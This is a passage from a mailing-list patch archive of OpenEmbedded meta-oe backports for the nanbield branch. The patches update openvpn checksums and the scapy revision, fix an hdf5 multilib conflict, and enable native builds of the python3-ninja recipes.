solution via tun device." HOMEPAGE = "https://openvpn.net/" SECTION = "net" LICENSE = "GPL-2.0-only" -LIC_FILES_CHKSUM = "file://COPYING;md5=3170e982baae61dbb8de963317d1ac94" +LIC_FILES_CHKSUM = "file://COPYING;md5=d8d34ce6390552676e4ce8279f13c48a" DEPENDS = "lzo lz4 openssl iproute2 libcap-ng ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" inherit autotools systemd update-rc.d pkgconfig @@ -14,7 +14,7 @@ SRC_URI = "http://swupdate.openvpn.org/community/releases/${BP}.tar.gz \ UPSTREAM_CHECK_URI = "https://openvpn.net/community-downloads" -SRC_URI[sha256sum] = "13b207a376d8880507c74ff78aabc3778a9da47c89f1e247dcee3c7237138ff6" +SRC_URI[sha256sum] = "3b074f392818b31aa529b84f76e8b5e4ad03fca764924f46d906bceaaf421034" CVE_STATUS[CVE-2020-27569] = "not-applicable-config: Applies only Aviatrix OpenVPN client, not openvpn" From patchwork Fri Dec 29 19:02:19 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37079 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id B43CBC47073 for ; Fri, 29 Dec 2023 19:02:39 +0000 (UTC) Received: from mail-ot1-f53.google.com (mail-ot1-f53.google.com [209.85.210.53]) by mx.groups.io with SMTP id smtpd.web11.155465.1703876559082798157 for ; Fri, 29 Dec 2023 11:02:39 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=Ed/Gwa/3; spf=pass (domain: gmail.com, ip: 209.85.210.53, mailfrom: akuster808@gmail.com) Received: by mail-ot1-f53.google.com with SMTP id 46e09a7af769-6dbf0561f8bso2562653a34.1 for ; Fri, 29 Dec 2023 11:02:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876558; x=1704481358; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=pyiRVe72ULWSXGoRpJApo+rcPsCOyNfBoljdfb6gl3k=; b=Ed/Gwa/3ve8cUfdARt8tPQNXZQoXMhk/4blyAvmzkoaDgSNVOltDwU8+ZwhM/sLqJl 1h0OAHS5wrztcVtgylx5BlWYolsGlPeM8v3dyy06VIpLv65jM4stuoE34Oh1t8KLy3cG G/GFz5QU4rJ/586CftlSXl8Xi0Ux2/tgehxZ8dlYKvvroi+FJ4Vu4ncHOVHpqz/4Dy/9 wUO/0zPccVvwW3EvQWx8z2mnD5IjkCSKTRRXQweAdc3SBc53j+fF9TKETkHLDTW7WHSz yB0rtvxrekgQo9EGM2XSqfQ3SXM2wwP2jtgTEnegiZOe6unopr8m13awrPcwZBmn6xkd AfiQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876558; x=1704481358; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=pyiRVe72ULWSXGoRpJApo+rcPsCOyNfBoljdfb6gl3k=; b=vWgeae+PehE9cbQpbin66PQPzxCFeIT/PcmduCgovkipcoIbb+ngXkFbdb1eRS5EgP hWHzi4CdUC4AO3zJhB+hsuzhlO3dskHe5nmKGhRtaPspiPqB1i9pF0U3+sHDfTTMTXZR KSHa68LlMXnEd+9SkECcgkxit8Mq4RpQfO70RG9RFEHmdrKv5nMIltromGjUA6Eb/XeI FoDbZznlfZVauYgLPSxQdbU5kXEi+GzBpl29MIMGK/G8gxMLDR7onWbeCTK7VgCdGzaT kdXmKXlSgDWsHh3nl15HJTlwbx4yWIcaHyFYbeCaKYj+OZlKAfq2M6ZtJumBNkCasAim 1EhQ== X-Gm-Message-State: AOJu0YzV5UdPCwsjX+5VGVsiKNvgikGdbgRX6XwAk1/b/aOjlTdQuCUk wS4xWR3ZloWNH/f4rbcVrDJa05g1ZxMGwQ== X-Google-Smtp-Source: AGHT+IEBrdkgPDrLC9nLusJ615RRpqsUkwf1QmyqmXj3J7kRUfiUCOxB3h8ulcvV2wPWECQ9ObWgFA== X-Received: by 2002:a9d:6d8e:0:b0:6db:fc2c:ba2f with SMTP id x14-20020a9d6d8e000000b006dbfc2cba2fmr5046249otp.0.1703876558069; Fri, 29 Dec 2023 11:02:38 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.37 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:37 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Khem Raj Subject: [meta-oe][nanbield][PATCH 06/17] python3-scapy: upgrade to latest revision Date: Fri, 29 Dec 2023 14:02:19 -0500 Message-Id: <20231229190230.135480-7-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:39 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107888 From: Khem Raj Signed-off-by: Khem Raj (cherry picked from commit ca49f2025e65713811e73e894c60cb78be1ed34c) Signed-off-by: Armin Kuster --- meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb b/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb index cc3f2ee1dd..4858e4e579 100644 --- a/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb +++ b/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb @@ -16,7 +16,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263" # If you want ptest support, use the git repo # UTscapy does not exist in the pypi pkg # -SRCREV = "9473f77d8b548c8e478e52838bdd4c12f5d4f4ff" +SRCREV = "0474c37bf1d147c969173d52ab3ac76d2404d981" SRC_URI = "git://github.com/secdev/scapy.git;branch=master;protocol=https \ file://run-ptest" From patchwork Fri Dec 29 19:02:20 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37085 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id E1F23C47074 for ; Fri, 29 Dec 2023 19:02:49 +0000 (UTC) Received: from mail-yw1-f171.google.com (mail-yw1-f171.google.com [209.85.128.171]) by mx.groups.io with SMTP id smtpd.web10.156012.1703876560194906487 for ; Fri, 29 Dec 2023 11:02:40 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=fjvafFob; spf=pass (domain: gmail.com, ip: 209.85.128.171, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f171.google.com with SMTP id 00721157ae682-5e76948cda7so49482697b3.3 for ; Fri, 29 Dec 2023 11:02:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876559; x=1704481359; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=Mja0/+JcD2i1nxHg0nxziNiO7Pvfn2yY5QgNQcBo5YQ=; b=fjvafFobjJ+uLkjepdsp2ZWIVSXZ8/hsid87X81TXRd0R2hyr1iw8nGx06KoaOFbJt EpbSVEZT01j2c3B3prQp2MIMt1A4HqnTl3eW6r5Kmp8LTgiYh0pCGyaf2I8BaqjakUdz 4iBVypXFGMFtvgg6UxDAZncskpSOdS+9+0zCYudmgsQOSzYPdEcQtvUNCAexyo5nzbzl E55XvNimAMSO36/gy6hWixZMBKR45NuxonjdeRbczzPHTc2429k4xAkAdRPNCgfwZd03 9d/kj5ROOQYwPAe2JSJWBk2IV4dZIcttwSxNt3KwEa4TWJE0ovruJuE1R9tMEcb8UMA9 TS7w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876559; x=1704481359; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=Mja0/+JcD2i1nxHg0nxziNiO7Pvfn2yY5QgNQcBo5YQ=; b=HZziU+ti1JiJICllyhwBxLyxMGFAePDjaLQ4MMj9FOol1zIjwUMd+7xq5/SLLFYmjC 9DwX0gCxbCGH6gOI30qRg0VMTR8EY/2iyS62XVh3NrRwbqC+DHWV142HJyruoO48dflL OTo7rGpecBYCS4X054mWtsi5D837503DgztWy68iRIAIr3f1VzKnCo54zbTsOmlwEVcY mipBeK0dTMbah0LIcL3YHiQr97PFEcBt8kWmT1axfr8zgo/7x1TnlEW13TLwJ39/+aIQ 1x5UQMpqdYUXYHB5YtbXftGHOqy1LK1a6XBXHxQ8k1zTbZhWmF/O3OIkfopYhpTTpLAT 4spg== X-Gm-Message-State: AOJu0YxlnJVd5VvvpLuqCm1E1Rmz+CDE7M5ySGr3rjelW0SEmR2RfE2R K1GdJaTRupNgfI3YCR8yz2mi7Bw3dYL87g== X-Google-Smtp-Source: AGHT+IGkN2+K93pUlmSuhghGiXpNxdf4IzxFbwehX7OLMV8uzfQ/iXS1A7rpMelFI2XcgyKE0J04OQ== X-Received: by 2002:a81:5485:0:b0:5df:c224:fb42 with SMTP id i127-20020a815485000000b005dfc224fb42mr7996542ywb.96.1703876559194; Fri, 29 Dec 2023 11:02:39 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.38 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:38 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Wang Mingyu , Khem Raj Subject: [meta-oe][nanbield][PATCH 07/17] hdf5: Fix install conflict when enable multilib. Date: Fri, 29 Dec 2023 14:02:20 -0500 Message-Id: <20231229190230.135480-8-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:49 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107889 From: Wang Mingyu Error: Transaction test error: file /usr/bin/h5cc conflicts between attempted installs of lib32-hdf5-1.14.2-r0.armv7ahf_neon and hdf5-1.14.2-r0.cortexa57 file /usr/bin/h5hlcc conflicts between attempted installs of lib32-hdf5-1.14.2-r0.armv7ahf_neon and hdf5-1.14.2-r0.cortexa57 The differences of h5cc are as follows: @@ -44,7 +44,7 @@ exit $status ;; *) - /usr/bin/arm-pokymllib32-linux-gnueabi/arm-pokymllib32-linux-gnueabi-clang $@ `pkg-config --define-variable=prefix=$dir --cflags --libs hdf5` + /usr/bin/aarch64-poky-linux/aarch64-poky-linux-clang $@ `pkg-config --define-variable=prefix=$dir --cflags --libs hdf5` status=$? exit $status ;; The differences of h5hlcc are as follows: @@ -44,7 +44,7 @@ exit $status ;; *) - /usr/bin/arm-pokymllib32-linux-gnueabi/arm-pokymllib32-linux-gnueabi-clang $@ `pkg-config --define-variable=prefix=$dir --cflags --libs hdf5_hl` + /usr/bin/aarch64-poky-linux/aarch64-poky-linux-clang $@ `pkg-config --define-variable=prefix=$dir --cflags --libs hdf5_hl` status=$? exit $status ;; Signed-off-by: Wang Mingyu Signed-off-by: Khem Raj (cherry picked from commit fc7666e5bc01ddcdc16d9d3b838be5c35d84fda2) Signed-off-by: Armin Kuster --- meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb b/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb index 68b91c0b0c..e716430673 100644 --- a/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb +++ b/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb @@ -7,7 +7,7 @@ SECTION = "libs" LICENSE = "HDF5" LIC_FILES_CHKSUM = "file://COPYING;md5=9ba0f3d878ab6c2403c86e9b0362d998" -inherit cmake siteinfo qemu multilib_header +inherit cmake siteinfo qemu multilib_header multilib_script DEPENDS += "qemu-native zlib" @@ -40,6 +40,10 @@ EOF do_unpack[postfuncs] += "gen_emu" +MULTILIB_SCRIPTS += "${PN}:${bindir}/h5cc \ + ${PN}:${bindir}/h5hlcc \ +" + do_install:append() { # Used for generating config files on target install -m 755 ${B}/bin/H5detect ${D}${bindir} From patchwork Fri Dec 29 19:02:21 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37089 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id F205BC47077 for ; Fri, 29 Dec 2023 19:02:49 +0000 (UTC) Received: from mail-oa1-f51.google.com (mail-oa1-f51.google.com [209.85.160.51]) by mx.groups.io with SMTP id smtpd.web11.155468.1703876561337187869 for ; Fri, 29 Dec 2023 11:02:41 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=kVS3q/78; spf=pass (domain: gmail.com, ip: 209.85.160.51, mailfrom: akuster808@gmail.com) Received: by mail-oa1-f51.google.com with SMTP id 586e51a60fabf-203fe0e3fefso3825442fac.2 for ; Fri, 29 Dec 2023 11:02:41 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876560; x=1704481360; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=J3XvGijVHkB6FL5eVDpy7w2osaVl3slGLrtPOqzBpUE=; b=kVS3q/78bOP/Q3atyaaEgTXevkQ/5oZuGysYMtfUbCVW9jTCwMFi35Yc3SDpAKq9QA Fhwhx0lSFMtpjSuFf8oqb5km8swG0OIp/QEpoc4y+8EuM4GmoLbnsop5mYFKIWwN63Gw Aa+dMJTaTK98py2r9OktA9V0j1C5V2wfL2Aq5K3JUTCBLmYrQioFxLzbUp9JeZcYexHd EkID4PFGKXK7kLQNqvWqCZ7C7ajCTNMrkhvPZS/mAr8mCgkRGv0Z1iAKNzx+iFkth0e2 rrcMixESts9H190DrFAyg3LrlP13zkGVAb4MXPjWHZcRGFPV1STgSU6qS6zk/u90mMZk 83UQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876560; x=1704481360; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=J3XvGijVHkB6FL5eVDpy7w2osaVl3slGLrtPOqzBpUE=; b=G38anKH53lSBXP5hQmw1qNg2Yxoa/fdiHgOQx0YEp5OFBNTJwW7b7PM2G0T5iqK8Fz Y3VxM17ucK/Yi5/XNotHpedbYyhUMoSSfGjGbHU6Rf1RzJUnAupmvA4emhIhUuL8d+OY AjCjxhSh8Ehco4xxlE2YhSe4AwPzfgyNSYxw/pt3kfiISSlmm4a30B3K0x4rWZqnlpA1 TqlINEB5CbjuGlJeRUDQT1pJHG/pX0WCOnDlIQ6Z+Wv0BwPz46522cjjmWdBi6qIGwbj Ixq9FEBBM8q9HFrvsNp5treoePqS873VbRqPuY42H+1uKoDMeGCDqTOymVFk9Yr+l2jD mEmA== X-Gm-Message-State: AOJu0YwS9VjtOs3cTdvpsEtF7kyM+T1PpENFMnSH/js6qIBSU+F3oCEp mNHMX4bed83tEE8EkIX6Y8tHzOs/cyJijA== X-Google-Smtp-Source: AGHT+IFxL8BB37dwosmvsiamyMytbDPB911NlDz1FZYtHSdIcoqoY9nmgh7+96rodLL5HFvt1hDyZg== X-Received: by 2002:a05:6871:147:b0:1fb:1480:b2a0 with SMTP id z7-20020a056871014700b001fb1480b2a0mr10221002oab.8.1703876560079; Fri, 29 Dec 2023 11:02:40 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.39 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:39 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: =?utf-8?b?Wm9sdMOhbiBCw7ZzesO2cm3DqW55aQ==?= , Khem Raj Subject: [meta-oe][nanbield][PATCH 08/17] python3-ninja-syntax: Set BBCLASSEXTEND = "native nativesdk" Date: Fri, 29 Dec 2023 14:02:21 -0500 Message-Id: <20231229190230.135480-9-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:49 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107890 From: Zoltán Böszörményi python3-ninja is used as a build dependency by other modules. For that, python3-ninja and all its dependencies must be built in native mode. Signed-off-by: Zoltán Böszörményi Signed-off-by: Khem Raj (cherry picked from commit 0010c0c0553acb8a360b9743cec655950009d6b6) Signed-off-by: Armin Kuster --- .../recipes-devtools/python/python3-ninja-syntax_1.7.2.bb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb b/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb index ec7747307d..2f94f7a6a5 100644 --- a/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb +++ b/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb @@ -9,4 +9,6 @@ inherit pypi setuptools3 PYPI_PACKAGE = "ninja_syntax" UPSTREAM_CHECK_URI = "https://pypi.python.org/pypi/ninja_syntax/" -UPSTREAM_CHECK_REGEX = "/ninja_syntax/(?P(\d+[\.\-_]*)+)" \ No newline at end of file +UPSTREAM_CHECK_REGEX = "/ninja_syntax/(?P(\d+[\.\-_]*)+)" + +BBCLASSEXTEND = "native nativesdk" From patchwork Fri Dec 29 19:02:22 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37091 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 24EA7C47079 for ; Fri, 29 Dec 2023 19:02:50 +0000 (UTC) Received: from mail-yw1-f176.google.com (mail-yw1-f176.google.com [209.85.128.176]) by mx.groups.io with SMTP id smtpd.web11.155469.1703876562095713893 for ; Fri, 29 Dec 2023 11:02:42 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=edXsmTf9; spf=pass (domain: gmail.com, ip: 209.85.128.176, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f176.google.com with SMTP id 00721157ae682-5e840338607so45780107b3.2 for ; Fri, 29 Dec 2023 11:02:42 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876561; x=1704481361; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=cu5iX1lTpb8L0sjVRQyucJ2nauNA2IWM6m7T+qeIKq0=; b=edXsmTf9OL9vy5Wvq98GZuYsJGICQRWeyd2/tpWGqmiwXti+Lg4Mib0x5TI7bbhkon Qrho+tCOG2zxRNR/tVmtoynvwtmGmIBs5dFEpOQMPxi3lBbVrvxzFUQHI2xl4w9FCWkA rsTcrxhPLBlLsb19jE0UJTQIpEyH4nNIplu6Cl648omOOTqZTo501MQd+GqkEUkKWfWY roS/kHjGbEKZhBMcKqTVaF7zX/qYdi/by0TksFAOEnY21JaWWYI0A9zTTrZ5/WSjlu2O cjatVAjV5RRRf+vWKckpJLlyr1Kt6Bty4vjy/KiCGSTSAC2krdss1vqcnhAX4N/jvpwM 9NTA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876561; x=1704481361; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=cu5iX1lTpb8L0sjVRQyucJ2nauNA2IWM6m7T+qeIKq0=; b=d+3E33ICKowyy+xLBaYXsJZpzYDwWFO40858u5DqUv2GCOhkbvU1gww/eC3tnbA53U iCzOOsWsKiFMTOsuY97s5BTR6LpyklklhjUhiIy5u1Qr7AhBhHehyyVC3vlRBlFGJ3df X3zYhVyS2H9J3HQXemrW2VwZAwhmGH4aZXbUhQ0KQGS2LL90igHi0DY6AapzXCgPCDCp gsfaEQVju0xA6U0OXoYM0H+wBt8x8qA+b8bT4RKUAlawevgy5Y4pLQomjzSEt9vqDrCV /vUaG7gjdAnd5Vy6aFeGrt6tJD0qI5j5f0mU4YFFg8VS8/c/68kgEp9kam7tRIVC2Lzv ruGA== X-Gm-Message-State: AOJu0YwENE/XRXbzm8rbdzij33M6cBTAKRZT/7pCywRDGa6XgiHQI7tR WL9CgCLrWA0WexYtKwwIDrmfgqHvwnpacQ== X-Google-Smtp-Source: AGHT+IFQ4WgkffraMkJvWis/MBy8lEnSSB22YEMT8f1/0+wdAjRBiCBD4a4BOJtNPZ0sAYc7XoxiWg== X-Received: by 2002:a05:690c:a12:b0:5ed:9d32:ee10 with SMTP id cg18-20020a05690c0a1200b005ed9d32ee10mr2577497ywb.83.1703876561121; Fri, 29 Dec 2023 11:02:41 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.40 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:40 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: =?utf-8?b?Wm9sdMOhbiBCw7ZzesO2cm3DqW55aQ==?= , Khem Raj Subject: [meta-oe][nanbield][PATCH 09/17] python3-ninja: Set BBCLASSEXTEND = "native nativesdk" Date: Fri, 29 Dec 2023 14:02:22 -0500 Message-Id: <20231229190230.135480-10-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:50 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107891 From: Zoltán Böszörményi python3-ninja is a build dependency for other python modules. For this, python3-ninja must be built for native mode. This partially reverts d4aa17dc436beb96a804860bc6d18cf72283709e ("meta-python: Drop broken BBCLASSEXTEND variants") Signed-off-by: Zoltán Böszörményi Signed-off-by: Khem Raj (cherry picked from commit 9b5ee4b0b2bf1a2abb181983a960a3802bca688f) Signed-off-by: Armin Kuster --- meta-python/recipes-devtools/python/python3-ninja_1.11.1.bb | 1 + 1 file changed, 1 insertion(+) diff --git a/meta-python/recipes-devtools/python/python3-ninja_1.11.1.bb b/meta-python/recipes-devtools/python/python3-ninja_1.11.1.bb index dd07968f03..3b9077f326 100644 --- a/meta-python/recipes-devtools/python/python3-ninja_1.11.1.bb +++ b/meta-python/recipes-devtools/python/python3-ninja_1.11.1.bb @@ -22,3 +22,4 @@ RDEPENDS:${PN} = " \ python3-ninja-syntax \ " +BBCLASSEXTEND = "native nativesdk" From patchwork Fri Dec 29 19:02:23 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37092 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 1EF10C47258 for ; Fri, 29 Dec 2023 19:02:50 +0000 (UTC) Received: from mail-yw1-f179.google.com (mail-yw1-f179.google.com [209.85.128.179]) by mx.groups.io with SMTP id smtpd.web10.156013.1703876563057849252 for ; Fri, 29 Dec 2023 11:02:43 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=kWZQ8hrc; spf=pass (domain: gmail.com, ip: 209.85.128.179, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f179.google.com with SMTP id 00721157ae682-5e778e484dbso60934337b3.0 for ; Fri, 29 Dec 2023 11:02:42 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876562; x=1704481362; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=is8JpcKYAzdTQ794LG6jInZjAM/E2G1qskZekKk7/C4=; b=kWZQ8hrcc6VRbazV2myyFGxxMsPPhje6Uc0dYAR+ZnXdJpj63fgw6Uu5eGZ2C8hchD oIGxjx8Fgo5eBn/FxakATI0eIiGweaoMODvPUbTj4bUUs4ltbmxtxGruf08tuzPSmZWL 9TBRx1Wia/MYPRaFdgcmQZrIzFBiCFrMl5HVjflTPp1YyEyglNgfveI8YdKkNJiToDto m1u3Vm7a03etRkFco9i4FXEhqC5UV3tWwmuWLpIWMKSTTyMTPpRcqqddqlQNYz7vnfLD EFIkNL+VpO/QzaUeSCWynjm6FfonFiC1fCp68hXsMTocMyN3rpZR/CrvYGIhI0nsl8VU NIBQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876562; x=1704481362; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=is8JpcKYAzdTQ794LG6jInZjAM/E2G1qskZekKk7/C4=; b=jSEQO5pjkeIXSC4/ckpdn/mXpimczvmZaI4wTH96HuyAoIgy28lVq4K8NU5En50ZnT 8J5AOtUe8j7f7zXHGdqR+1vxI7rFq8e+132mi7sH52Zf3PF9E6STrc3NaAMw/FTtN0Bk 7BIPJ2I1r86C+Rsfrm5AyblnuPVgr0IJCa5L8PpxVKC14lXCeLYoKkctFHs9Trs0B/Ut 3ZurOIkoY7vw3Fm7Fk0HcSwkM82eWIua3J9N+bMzAEfuC/3YGZ4tRZO37u1Z84V2Vgg3 0Elfwz+UKE2Xfbwb/CxQlrNTEQdf0Y46MIucALef7Jmc4LW+QevuPl9Hio7t/J1ErCa7 1ANw== X-Gm-Message-State: AOJu0Yx9AplBOp9AUsv7fhYbRlC2xiPDRooH4K/OZlFSxwYkF4+OGjXj jyA3I7G7kvOImcEAklp7i9ukqTnvg6O0GA== X-Google-Smtp-Source: AGHT+IGlLZtvo4FZWzxUqWhgQPBU0AG9FUknqja+lHeTNXFm/0XL4cfnQjKP1RpsRU1c3rG9+h4wxw== X-Received: by 2002:a05:690c:a04:b0:5ed:3555:f932 with SMTP id cg4-20020a05690c0a0400b005ed3555f932mr3837017ywb.25.1703876561861; Fri, 29 Dec 2023 11:02:41 -0800 (PST) Received: from keaua.caveonetworks.com 